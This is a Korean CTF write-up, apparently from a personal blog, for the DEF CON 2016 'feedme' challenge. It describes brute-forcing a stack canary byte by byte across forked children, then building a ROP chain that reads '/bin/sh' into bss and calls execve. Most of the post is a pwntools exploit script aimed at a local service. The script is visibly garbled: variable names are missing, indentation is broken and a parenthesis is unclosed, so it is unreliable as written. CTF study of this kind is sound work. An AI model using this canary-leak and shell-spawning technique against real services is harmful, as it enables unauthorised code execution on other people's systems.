Pwnable/write up

[Defcon 2016]feedme

xxvd 2018. 8. 27. 05:52

static linking + strip 이어서 분석이 힘들었습니다. ida로 string 검색해서 문자열 따라가면서 취약한 함수를 찾았음


처음 문자 하나를 받고, 그 크기만큼 입력받는데,  입력받는 문자열의 크기가 0x2c여서 간단하게 bof가 나는데 카나리가 있습니다. 그리고 fork로 자식프로세스를 생성 한 후 거기서 bof가 나는 함수를 실행하기 때문에 canary는 매번 같습니다. 근데 fork를 800번 하므로 1byte씩 브포하면 릭 할 수 있습니다. 그렇게 canary 릭 하고, eip 조작이 가능해지면 syscall 가젯 ( pop eax, pop edx,ecx,eax, int 0x80)을 이용하여 read로 bss에 /bin/sh 문자열을 받고, execve를 콜 해서 그 부분을 실행하면 됩니다. 아 그리고 /bin/sh만 넣어줬더니 계속 쉘이 안따여서 /bin/sh\x00 으로 주니까 됐습니다.




카나리 브포로 릭한건 처음이라 신기 ㅋ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
 
= remote('localhost','8888')
= ELF('./feedme')
p.recvuntil("FEED ME!\n")
 
INT_0x80 = 0x0806fa20
POP_EAX_RET = 0x080e6a5c
POP_EDX_ECX_EBX_RET = 0x0806f370
cmd = '/bin/sh\x00'
canary=""
 
for i in range(0,4):
    for j in range(0x00,0xff):
 
    length=32+len(canary)+1 
 
    payload=chr(length)
    payload+="A"*32
    payload+=canary
    payload+=chr(j)
     
 
    p.send(payload)
    recv = p.recvuntil("FEED ME!")
 
 
        if "YUM" in recv:
        canary+=chr(j)
       print "Found canary's %d byte is 0x%02x" % (i+1,j)
       break
 
 
payload="A"*32
payload+=canary
payload+="A"*12
 
payload+=p32(POP_EAX_RET) #read
payload+=p32(3)
 
payload+=p32(POP_EDX_ECX_EBX_RET) #read's arguments
payload+=p32(8
payload+=p32(e.bss())
payload+=p32(0)        
payload+=p32(INT_0x80)
 
payload+=p32(POP_EAX_RET) #execve
payload+=p32(11)
 
payload+=p32(POP_EDX_ECX_EBX_RET) #execve's arguments    
payload+=p32(0)
payload+=p32(0)
payload+=p32(e.bss())
payload+=p32(INT_0x80)
 
p.send(chr(len(payload)))
p.send(payload)
p.send(cmd)
 
p.interactive()
 
 
cs